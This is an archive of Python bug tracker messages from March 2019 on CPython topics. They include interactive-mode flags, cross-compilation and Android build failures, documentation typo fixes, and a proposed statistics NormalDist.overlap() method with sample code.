Message-ID: <1551507024.01.0.06569662724.issue36164@roundup.psfhosted.org>


New submission from Atsuo Ishimoto <ishimoto at python.jp>:

I sometime use a hack to start interactive console after running script.

.. code-block:: python

   import os

   os.environ['PYTHONINSPECT'] = 'x'
   print("Hello")

This hack works because ``PYTHONINSPECT`` is checked `here <https://github.com/python/cpython/blob/master/Modules/main.c#L738>`__ when exiting Python.

However, if the script uses ``sys.exit()`` to exit from Python, interactive console doen't apper because unhandled ``SystemExit`` exception leads ``exit()`` call to kill process, without checking ``PYTHONINSPECT``.

.. code-block:: python

   import os, sys

   os.environ['PYTHONINSPECT'] = 'x'
   print("Hello")

   sys.exit(1)  # Interactive console will not start


I think feature to allow updating ``Py_InspectFlag`` is useful, and this is a bugs to be fixed. However, setting environment variable to start console is not intuituve.

So instead of fixing bug, I would like to propose a small function to set ``Py_InspectFlag`` to start interactive console after running script.

.. code-block:: python

    sys.setinteractiveflag(bool)

Thoughts?

----------
components: Interpreter Core
messages: 336993
nosy: ishimoto
priority: normal
severity: normal
status: open
title: Updating Py_InspectFlag programmatically
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36164>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:12:53 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 02 Mar 2019 06:12:53 +0000
Subject: [issue35819] Fatal Python error
In-Reply-To: <MN2PR12MB31663E9A5347BDE77ABE43B7B39A0@MN2PR12MB3166.namprd12.prod.outlook.com>
Message-ID: <1551507173.06.0.0540990379804.issue35819@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

By the way, do you remember why you set PYTHONHOME?
I afraid that someone recommends such bad practice on Web and this issue is spreading.

Beginner ~ average Python user must not try PYTHONHOME.

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35819>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:19:38 2019
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 02 Mar 2019 06:19:38 +0000
Subject: [issue36164] Updating Py_InspectFlag programmatically
In-Reply-To: <1551507024.01.0.06569662724.issue36164@roundup.psfhosted.org>
Message-ID: <1551507578.3.0.510932874578.issue36164@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12140
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36164>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:49:17 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 02 Mar 2019 06:49:17 +0000
Subject: [issue36008] [good first issue] Update documentation for 3.8
In-Reply-To: <1550278435.56.0.94881175235.issue36008@roundup.psfhosted.org>
Message-ID: <1551509357.65.0.662820435132.issue36008@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

@Mariatta this issue https://bugs.python.org/issue36157 also looks like one you can track for the mentored sprint at PyCon.

----------
nosy: +nanjekyejoannah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36008>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:50:40 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Sat, 02 Mar 2019 06:50:40 +0000
Subject: [issue36157] Document PyInterpreterState_Main().
In-Reply-To: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>
Message-ID: <1551509440.2.0.759094063107.issue36157@roundup.psfhosted.org>


Joannah Nanjekye <nanjekyejoannah at gmail.com> added the comment:

@Mariatta do you want to keep this for the mentored sprint at PyCon?

----------
nosy: +nanjekyejoannah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Sat Mar  2 02:33:48 2019
From: report at bugs.python.org (Armin Rigo)
Date: Sat, 02 Mar 2019 07:33:48 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551512028.73.0.931816514669.issue36124@roundup.psfhosted.org>


Armin Rigo <arigo at users.sourceforge.net> added the comment:

PyModule_GetState() requires having the module object that corresponds to the given interpreter state.  I'm not sure how a C extension module is supposed to get its own module object corresponding to the current interpreter state, without getting it from the caller in some way.

The mess in cffi's call_python.c would be much reduced if we had bpo-36124 (fixed to call Py_CLEAR(), see comment in bpo-36124).

If you want to point out a different approach that might work too, that's OK too.  It's just that the current approach was arrived at after multiple generations of crash reports, which makes me uneasy about changing it in more subtle ways than just killing it in favor of a careful PyInterpreterState_GetDict().

If you want to see details of the current hacks, I can explain https://bitbucket.org/cffi/cffi/src/d765c36df047cf9d5e766777049c4107e1f4cb00/c/call_python.c :

The goal is that we are given a finite (but unknown at compile-time) number of 'externpy' data structures, and for each pair (externpy, interp) the user can assign a callable 'PyObject *'.  The annoying part of the logic is that we have a C-exposed callback function (line 204) which is called with a pointer to one of these 'externpy' structures, and we need to look up the right 'PyObject *' to call.

At line 255 we just got the GIL and need to check if the 'PyThreadState_GET()->interp' is equal to the one previously seen (an essential optimization: we can't do complicated logic in the fast path).  We hack by checking for 'interp->modules' because that's a PyObject.  The previous time this code was invoked, we stored a reference to 'interp->modules' in the C structure 'externpy', with an incref.  So this fast-path pointer comparison is always safe (no freed object whose address can be accidentally reused).  This test will quickly pass if this function is called in the same 'interp' many times in a row.

The slow path is in _update_cache_to_call_python(), which calls _get_interpstate_dict(), whose only purpose is to return a dictionary that depends on 'interp'.  Note how we need to be very careful about various cases, like shutdown.  _get_interpstate_dict() can fail and return NULL, but it cannot give a fatal error.  That's why we couldn't call, say, PyImport_GetModuleDict(), because this gives a fatal error if 'interp' is being shut down at the moment.

Overall, the logic uses both 'interp->modules' and 'interp->builtins'.  The 'modules' is used only for the pointer equality check, because that's an object that is not supposed to be freed until the very last moment.  The 'builtins' is used to store the special name "__cffi_backend_extern_py" in it, because we can't store that in 'interp->modules' directly without crashing various 3rd-party Python code if this special key shows up in 'sys.modules'.  The value corresponding to this special name is a dictionary {PyLong_FromVoidPtr(externpy): infotuple-describing-the-final-callable}.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Sat Mar  2 04:47:43 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 02 Mar 2019 09:47:43 +0000
Subject: [issue36125] Cannot cross-compile to more featureful but same tune
In-Reply-To: <1551196810.67.0.249603335877.issue36125@roundup.psfhosted.org>
Message-ID: <1551520063.83.0.788942939162.issue36125@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

@Ross

> The intention appears to be that the sysconfig.py in the build is used.  In my case that directory is also full of shared libraries that Python happily loads, and then fails.

No, the intention is that the native python finds the sysconfigdata module named $_PYTHON_SYSCONFIGDATA_NAME that is located in the directory where the extensions modules (.so libraries) have been cross-compiled. $_PYTHON_SYSCONFIGDATA_NAME is a pure python module, so it can be loaded by the native python.

Please note that in your first post PYTHONPATH is missing the first part, i.e. the path to this directory obtained with:
    $(shell test -f pybuilddir.txt && echo $(abs_builddir)/`cat pybuilddir.txt`:)

When PYTHON_FOR_BUILD runs, it does not load any extension module so the Illegal instruction may be caused by some other problem.

----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36125>
_______________________________________

From report at bugs.python.org  Sat Mar  2 05:36:31 2019
From: report at bugs.python.org (Ma Lin)
Date: Sat, 02 Mar 2019 10:36:31 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551522991.95.0.51870559051.issue36158@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

Just remind, the pattern r'"{1}', is same as r'"', means " repeats 1 time.

----------
nosy: +Ma Lin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Sat Mar  2 06:10:27 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 11:10:27 +0000
Subject: [issue36165] DOC: ssl.rst is missing formatting on two links
Message-ID: <1551525027.87.0.0940888364493.issue36165@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `ssl.rst`, formatting for two data links is missing the leading `:`

1.   ssl.PROTOCOL_SSLv23?

    Alias for  ---> data:PROTOCOL_TLS.   <---

2.   Wrap the BIO objects incoming and outgoing and return an instance of ---> attr:SSLContext.sslobject_class <--- (default SSLObject). The SSL routines will read input data from the incoming BIO and write data to the outgoing BIO.


This would be good for a first time contributor, so I'm assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337000
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: ssl.rst is missing formatting on two links
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36165>
_______________________________________

From report at bugs.python.org  Sat Mar  2 06:36:41 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 02 Mar 2019 11:36:41 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551526601.64.0.49748527682.issue36162@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

The presence of sendfile and truncate is detected by configure. Your copy of configure defines HAVE_SENDFILE and HAVE_SYS_SENDFILE_H. Please check config.log and see why configure detects the functions.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Sat Mar  2 06:46:32 2019
From: report at bugs.python.org (Christian Heimes)
Date: Sat, 02 Mar 2019 11:46:32 +0000
Subject: [issue36081] Cannot set LDFLAGS containing $
In-Reply-To: <1550851517.09.0.227487072045.issue36081@roundup.psfhosted.org>
Message-ID: <1551527192.86.0.516026576065.issue36081@roundup.psfhosted.org>


Christian Heimes <lists at cheimes.de> added the comment:

There is a simpler solution. How about you use double quotes instead of single quotes and let the shell expand the variable before you pass it down into the process? 

$ export ORIGIN=/origin
$ echo LDFLAGS=-Wl,-rpath,'$ORIGIN/../lib'
LDFLAGS=-Wl,-rpath,$ORIGIN/../lib
$ echo LDFLAGS=-Wl,-rpath,"$ORIGIN/../lib"
LDFLAGS=-Wl,-rpath,/origin/../lib

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36081>
_______________________________________

From report at bugs.python.org  Sat Mar  2 06:55:55 2019
From: report at bugs.python.org (muhzi)
Date: Sat, 02 Mar 2019 11:55:55 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551527755.21.0.808993587261.issue36162@roundup.psfhosted.org>


muhzi <air.oamyst517 at yahoo.com> added the comment:

Yes it is detected by configure because they exist.

>From config.log:

configure:11514: checking for truncate
configure:11514: armv7a-linux-androideabi21-clang -o conftest   -pie -march=armv7-a -Wl,--fix-cortex-a8 conftest.c -ldl  >&5
configure:11514: $? = 0
configure:11514: result: yes


I can include the corresponding headers in a separate test file and call these missing methods and I get no compilation errors. But it seems they don't work in posixmodule.c and for some reason when #include <sys/sendfile.h> is put before #include "Python.h", the compiler doesn't give errors for those particular functions. I'm guessing this is an API level < 21 issue, it might have propagated from the configuration step (if any faults) but not sure. I use the same steps to compile this for API level 21 with no errors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:07:17 2019
From: report at bugs.python.org (muhzi)
Date: Sat, 02 Mar 2019 12:07:17 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551528437.75.0.747397737728.issue36162@roundup.psfhosted.org>


muhzi <air.oamyst517 at yahoo.com> added the comment:

err, wrong logs sorry... 

configure:11514: checking for truncate
configure:11514: armv7a-linux-androideabi16-clang -o conftest   -pie -march=armv7-a -Wl,--fix-cortex-a8 conftest.c -ldl  >&5
configure:11514: $? = 0
configure:11514: result: yes


configure:7954: checking sys/sendfile.h usability
configure:7954: armv7a-linux-androideabi16-clang -c   conftest.c >&5
configure:7954: $? = 0
configure:7954: result: yes
configure:7954: checking sys/sendfile.h presence
configure:7954: armv7a-linux-androideabi16-clang -E  conftest.c
configure:7954: $? = 0
configure:7954: result: yes
configure:7954: checking for sys/sendfile.h
configure:7954: result: yes

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:13:55 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:13:55 +0000
Subject: [issue36166] DOC: Fix markup on function parameter on datamodel.rst
Message-ID: <1551528835.64.0.987531721426.issue36166@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `datamodel.rst`, fix formatting on the format_spec argument in the text paragraph of object.__format__() to be italicized instead of marked as a code sample.
 

object.__format__(self, format_spec)

The ---> ``format_spec`` <--- argument is a string that contains a description of the formatting options desired.


Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337005
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Fix markup on function parameter on datamodel.rst
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36166>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:17:53 2019
From: report at bugs.python.org (Ross Burton)
Date: Sat, 02 Mar 2019 12:17:53 +0000
Subject: [issue36125] Cannot cross-compile to more featureful but same tune
In-Reply-To: <1551196810.67.0.249603335877.issue36125@roundup.psfhosted.org>
Message-ID: <1551529073.22.0.483332770107.issue36125@roundup.psfhosted.org>


Ross Burton <ross.burton at intel.com> added the comment:

strace disagrees.  By putting strace in PYTHON_FOR_BUILD and then invoking make sharedmods:

| openat(AT_FDCWD, "/data/poky-tmp/master/work/corei7-64-poky-linux/python3/3.7.2-r0/build/build/lib.linux-x86_64-3.7/_heapq.cpython-37m-x86_64-linux-gnu.so", O_RDONLY|O_CLOEXEC) = 3
| read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\20\0\0\0\0\0\0"..., 832) = 832
| fstat(3, {st_mode=S_IFREG|0755, st_size=62104, ...}) = 0
| mmap(NULL, 23880, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f93d7cb9000
| mmap(0x7f93d7cba000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7f93d7cba000
| mmap(0x7f93d7cbb000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f93d7cbb000
| mmap(0x7f93d7cbc000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f93d7cbc000
| close(3)                                = 0
| mprotect(0x7f93d7cbc000, 4096, PROT_READ) = 0
| --- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0x7f93d7cbab10} ---
| +++ killed by SIGILL (core dumped) +++
| Illegal instruction
| Makefile:625: recipe for target 'sharedmods' failed

We do have patches but I don't think they affect this part of the build.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36125>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:18:19 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:18:19 +0000
Subject: [issue36167] DOC: Incorrect capitalization in Programming FAQ
Message-ID: <1551529099.5.0.835675772758.issue36167@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In Programming FAQ under question "How can my code discover the name of an object?", in the second sentence, the word 'The' shouldn't be capitalized after the semi-colon.

Essentially, assignment always binds a name to a value; ---> The <--- same is true of def and class statements, but in that case the value is a callable. 

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337007
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Incorrect capitalization in Programming FAQ
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36167>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:21:02 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:21:02 +0000
Subject: [issue36168] DOC: Fix capitalization in string.rst
Message-ID: <1551529262.87.0.31703753151.issue36168@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `string.rst`, under get_value(), `Subsequent` shouldn't be capitalized after the semi-colon.

For compound field names, these functions are only called for the first component of the field name; ---> Subsequent <--- components are handled through normal attribute and indexing operations.

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337008
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Fix capitalization in string.rst
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36168>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:48:52 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sat, 02 Mar 2019 12:48:52 +0000
Subject: [issue36150] Possible assertion failures due to _ctypes.c's
 PyCData_reduce()
In-Reply-To: <1551381221.9.0.581708361836.issue36150@roundup.psfhosted.org>
Message-ID: <1551530932.82.0.29337006165.issue36150@roundup.psfhosted.org>


Zackery Spytz <zspytz at gmail.com> added the comment:

I'm sorry. I misunderstood the behavior of Py_BuildValue().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36150>
_______________________________________

From report at bugs.python.org  Sat Mar  2 08:02:18 2019
From: report at bugs.python.org (Rolf Eike Beer)
Date: Sat, 02 Mar 2019 13:02:18 +0000
Subject: [issue36081] Cannot set LDFLAGS containing $
In-Reply-To: <1550851517.09.0.227487072045.issue36081@roundup.psfhosted.org>
Message-ID: <1551531738.66.0.559056072855.issue36081@roundup.psfhosted.org>


Rolf Eike Beer <eike at sf-mail.de> added the comment:

No, it's not. $ORIGIN is a special value that must be literally in the RPATH (i.e. in the ELF), so that the binary is relocatable and will looks for the libraries relative to it's location.

I wonder if I could do "export ORIGIN='$ORIGIN'" instead, so the expansions will bring back the original value again. This is only a solution for this usecase.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36081>
_______________________________________

From report at bugs.python.org  Sat Mar  2 08:46:44 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Sat, 02 Mar 2019 13:46:44 +0000
Subject: [issue35100] urllib.parse.unquote_to_bytes: needs "escape plus" option
In-Reply-To: <1540785354.09.0.788709270274.issue35100@psf.upfronthosting.co.za>
Message-ID: <1551534404.56.0.237534708488.issue35100@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

This issue still stands. The output of all three methods is exactly the same as it was when the original question was posted. Would it maybe make sense to add a flag to the unquote_to_bytes method to parse the 'plus' symbol as a space? Or maybe create a new method(i.e. unquote_to_bytes_plus)?

----------
nosy: +lys.nikolaou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35100>
_______________________________________

From report at bugs.python.org  Sat Mar  2 09:37:49 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sat, 02 Mar 2019 14:37:49 +0000
Subject: [issue29440] _dbm requires -lgdbm if gdbm is built as static libraries
In-Reply-To: <1486185534.28.0.954859942515.issue29440@psf.upfronthosting.co.za>
Message-ID: <1551537469.75.0.0535558118957.issue29440@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

I gave up building gdbm as a static library. It brings more headache than benefits.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29440>
_______________________________________

From report at bugs.python.org  Sat Mar  2 09:58:35 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 02 Mar 2019 14:58:35 +0000
Subject: [issue35100] urllib.parse.unquote_to_bytes: needs "escape plus" option
In-Reply-To: <1540785354.09.0.788709270274.issue35100@psf.upfronthosting.co.za>
Message-ID: <1551538715.78.0.685556231345.issue35100@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +orsenthil
versions: +Python 3.8 -Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35100>
_______________________________________

From report at bugs.python.org  Sat Mar  2 10:58:41 2019
From: report at bugs.python.org (Chih-Hsuan Yen)
Date: Sat, 02 Mar 2019 15:58:41 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551542321.08.0.322541207033.issue36162@roundup.psfhosted.org>


Chih-Hsuan Yen <yan12125 at gmail.com> added the comment:

CPython requires several changes to build for Android < 21. There was an attempt in issue32654 but it's abandoned.

----------
nosy: +yan12125

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Sat Mar  2 11:20:28 2019
From: report at bugs.python.org (Vlad Shcherbina)
Date: Sat, 02 Mar 2019 16:20:28 +0000
Subject: [issue34776] Postponed annotations break inspection of dataclasses
In-Reply-To: <1537699529.98.0.956365154283.issue34776@psf.upfronthosting.co.za>
Message-ID: <1551543628.99.0.28822279304.issue34776@roundup.psfhosted.org>


Vlad Shcherbina <vlad.shcherbina at gmail.com> added the comment:

Any chance this could get into 3.7.3?

----------
nosy: +vlad

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34776>
_______________________________________

From report at bugs.python.org  Sat Mar  2 11:59:16 2019
From: report at bugs.python.org (Alexey Izbyshev)
Date: Sat, 02 Mar 2019 16:59:16 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1551545956.36.0.785713844487.issue31904@roundup.psfhosted.org>


Change by Alexey Izbyshev <izbyshev at ispras.ru>:


----------
nosy: +izbyshev

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Sat Mar  2 12:05:21 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Sat, 02 Mar 2019 17:05:21 +0000
Subject: [issue36125] Cannot cross-compile to more featureful but same tune
In-Reply-To: <1551196810.67.0.249603335877.issue36125@roundup.psfhosted.org>
Message-ID: <1551546321.14.0.742938586087.issue36125@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

The cross-compilation rely on the fact that the cross-compiled shared libraries names are constructed using the configure `--host=HOST-TYPE' command line parameter and therefore cannot be loaded by the native compiler that uses a different suffix for those names: in a cross compilation the 'build' machine is identified with a different name than the 'host' machine or it is not a cross-compilation.

Maybe there is a glitch in this assumption ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36125>
_______________________________________

From report at bugs.python.org  Sat Mar  2 13:21:24 2019
From: report at bugs.python.org (desbma)
Date: Sat, 02 Mar 2019 18:21:24 +0000
Subject: [issue36046] support dropping privileges when running subprocesses
In-Reply-To: <1550625858.55.0.53498127684.issue36046@roundup.psfhosted.org>
Message-ID: <1551550884.55.0.337202719947.issue36046@roundup.psfhosted.org>


Change by desbma <dutch109 at gmail.com>:


----------
nosy: +desbma

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36046>
_______________________________________

From report at bugs.python.org  Sat Mar  2 13:42:19 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Sat, 02 Mar 2019 18:42:19 +0000
Subject: [issue22021] shutil.make_archive()  root_dir do not work
In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za>
Message-ID: <1551552139.9.0.593993702828.issue22021@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

Pinging once more for review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22021>
_______________________________________

From report at bugs.python.org  Sat Mar  2 13:43:58 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Sat, 02 Mar 2019 18:43:58 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1551552238.52.0.280748182371.issue21314@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

Ping for review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Sat Mar  2 14:12:15 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 02 Mar 2019 19:12:15 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551553935.11.0.425199824264.issue32129@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:


New changeset 59e824b4fc314b10c5d24ff0bf737a15787f0574 by Benjamin Peterson (Ned Deily) in branch '2.7':
bpo-32129: Avoid blurry IDLE application icon on macOS with Tk 8.6. Original patch by Kevin Walzer. (GH-12034)
https://github.com/python/cpython/commit/59e824b4fc314b10c5d24ff0bf737a15787f0574


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Sat Mar  2 14:37:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 02 Mar 2019 19:37:19 +0000
Subject: [issue36146] Refactor setup.py
In-Reply-To: <1551368254.14.0.622163548129.issue36146@roundup.psfhosted.org>
Message-ID: <1551555439.2.0.15309161728.issue36146@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 96d81583be98cec9728636186ea32b662cb091d5 by Victor Stinner in branch 'master':
bpo-36146: Fix inc_dirs in setup.py on macOS (GH-12098)
https://github.com/python/cpython/commit/96d81583be98cec9728636186ea32b662cb091d5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36146>
_______________________________________

From report at bugs.python.org  Sat Mar  2 16:50:48 2019
From: report at bugs.python.org (A.M. Kuchling)
Date: Sat, 02 Mar 2019 21:50:48 +0000
Subject: [issue34484] Unicode HOWTO incorrectly refers to Private Use Area for
 surrogateescape
In-Reply-To: <1535058879.5.0.56676864532.issue34484@psf.upfronthosting.co.za>
Message-ID: <1551563448.65.0.969493791047.issue34484@roundup.psfhosted.org>


Change by A.M. Kuchling <amk at amk.ca>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34484>
_______________________________________

From report at bugs.python.org  Sat Mar  2 18:04:32 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 02 Mar 2019 23:04:32 +0000
Subject: [issue36169] Add overlap() method to statistics.NormalDist()
Message-ID: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

------ How to use it ------

What percentage of men and women will have the same height in two normally distributed populations with known means and standard deviations?

    # http://www.usablestats.com/lessons/normal
    >>> men = NormalDist(70, 4)
    >>> women = NormalDist(65, 3.5)
    >>> men.overlap(women)
    0.5028719270195425

The result can be confirmed empirically with a Monte Carlo simulation:

    >>> from collections import Counter
    >>> n = 100_000
    >>> overlap = Counter(map(round, men.samples(n))) & Counter(map(round, women.samples(n)))
    >>> sum(overlap.values()) / n
    0.50349

The result can also be confirmed by numeric integration of the probability density function:

    >>> dx = 0.10
    >>> heights = [h * dx for h in range(500, 860)]
    >>> sum(min(men.pdf(h), women.pdf(h)) for h in heights) * dx
    0.5028920586287203

------ Code ------

    def overlap(self, other):
        '''Compute the overlap coefficient (OVL) between two normal distributions.

        Measures the agreement between two normal probability distributions.
        Returns a value between 0.0 and 1.0 giving the overlapping area in
        the two underlying probability density functions.

        '''

        # See: "The overlapping coefficient as a measure of agreement between
        # probability distributions and point estimation of the overlap of two
        # normal densities" -- Henry F. Inman and Edwin L. Bradley Jr
        # http://dx.doi.org/10.1080/03610928908830127

        # Also see:
        # http://www.iceaaonline.com/ready/wp-content/uploads/2014/06/MM-9-Presentation-Meet-the-Overlapping-Coefficient-A-Measure-for-Elevator-Speeches.pdf

        if not isinstance(other, NormalDist):
            return NotImplemented
        X, Y = self, other
        X_var, Y_var = X.variance, Y.variance
        if not X_var or not Y_var:
            raise StatisticsError('overlap() not defined when sigma is zero')
        dv = Y_var - X_var
        if not dv:
            return 2.0 * NormalDist(fabs(Y.mu - X.mu), 2.0 * X.sigma).cdf(0)
        a = X.mu * Y_var - Y.mu * X_var
        b = X.sigma * Y.sigma * sqrt((X.mu - Y.mu)**2 + dv * log(Y_var / X_var))
        x1 = (a + b) / dv
        x2 = (a - b) / dv
